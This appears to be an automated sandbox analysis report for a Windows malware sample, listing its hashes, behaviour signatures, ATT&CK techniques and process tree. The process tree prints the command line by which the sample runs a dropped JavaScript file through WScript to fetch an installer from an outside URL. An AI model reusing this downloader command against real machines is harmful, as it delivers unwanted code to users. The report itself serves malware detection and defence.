0469cce2c49381b44b8584778af67ca112ade852e38e64114f33fcf7f244c419

General

Target

a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe
Size

184KB
MD5

a8adce2bcf005d7f902ccb8badf90e4e
SHA1

638623efc1cb9a80b8032b7f5e392e519a8edf13
SHA256

0469cce2c49381b44b8584778af67ca112ade852e38e64114f33fcf7f244c419
SHA512

4ac4d8f2c4c81e5607e9612db4480f1d6943318a619ca7621f90af61018ce8edf11df8d757b6ee6ca66b317c4fda5702f40daaae131f79386e8323b826c4ca50
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3z:/7BSH8zUB+nGESaaRvoB7FJNndn6

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
3	2968	WScript.exe
25	3748	WScript.exe
26	3748	WScript.exe
28	2728	WScript.exe
43	4620	WScript.exe
46	2640	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000\Control Panel\International\Geo\Nation	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2228	1264	WerFault.exe	80

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4204450073-1267028356-951339405-1000_Classes\Local Settings	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 2968	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	81
PID 1264 wrote to memory of 2968	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	81
PID 1264 wrote to memory of 2968	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	81
PID 1264 wrote to memory of 3748	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	85
PID 1264 wrote to memory of 3748	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	85
PID 1264 wrote to memory of 3748	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	85
PID 1264 wrote to memory of 2728	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	86
PID 1264 wrote to memory of 2728	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	86
PID 1264 wrote to memory of 2728	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	86
PID 1264 wrote to memory of 4620	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	91
PID 1264 wrote to memory of 4620	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	91
PID 1264 wrote to memory of 4620	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	91
PID 1264 wrote to memory of 2640	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	92
PID 1264 wrote to memory of 2640	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	92
PID 1264 wrote to memory of 2640	1264	a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe	92

C:\Users\Admin\AppData\Local\Temp\a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a8adce2bcf005d7f902ccb8badf90e4e_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=ZEFYsRDJJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  - Blocklisted process makes network request
  PID:2968
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=ZEFYsRDJJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  - Blocklisted process makes network request
  PID:3748
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=ZEFYsRDJJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  - Blocklisted process makes network request
  PID:2728
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=ZEFYsRDJJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  - Blocklisted process makes network request
  PID:4620
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf41EB.js" http://www.djapp.info/?domain=ZEFYsRDJJt.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=9q1opzVAHsghhTV-SOcnWOwca5fw5gybmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGsoNclYUM4DqI4b3y6Vo5aO-U80ZFrtNDGKRBo-hQF1R2seAl3nMN3bAunQF C:\Users\Admin\AppData\Local\Temp\fuf41EB.exe
  2⤵
  - Blocklisted process makes network request
  PID:2640
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1264 -s 1456
  2⤵
  - Program crash
  PID:2228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 1264 -ip 1264
1⤵
PID:4424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf41EB.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

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